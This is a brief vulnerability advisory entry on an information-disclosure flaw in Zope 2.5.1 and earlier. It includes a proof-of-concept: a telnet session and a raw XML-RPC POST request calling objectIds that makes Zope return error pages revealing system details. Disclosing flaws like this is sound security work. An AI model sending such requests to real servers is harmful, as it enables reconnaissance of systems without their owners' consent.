source: https://www.securityfocus.com/bid/5806/info
A vulnerability has been reported for Zope 2.5.1 and earlier. Reportedly, Zope does not handle XML-RPC requests properly. Specially crafted XML-RPC requests may cause Zope to respond to a request with an error page with system specific details.
telnet localhost 8080
POST /Documentation/comp_tut HTTP/1.0
Host: localhost
Content-Type: text/xml
Content-length: 93
<?xml version="1.0"?>
<methodCall>
<methodName>objectIds</methodName>
<params/>
</methodCall>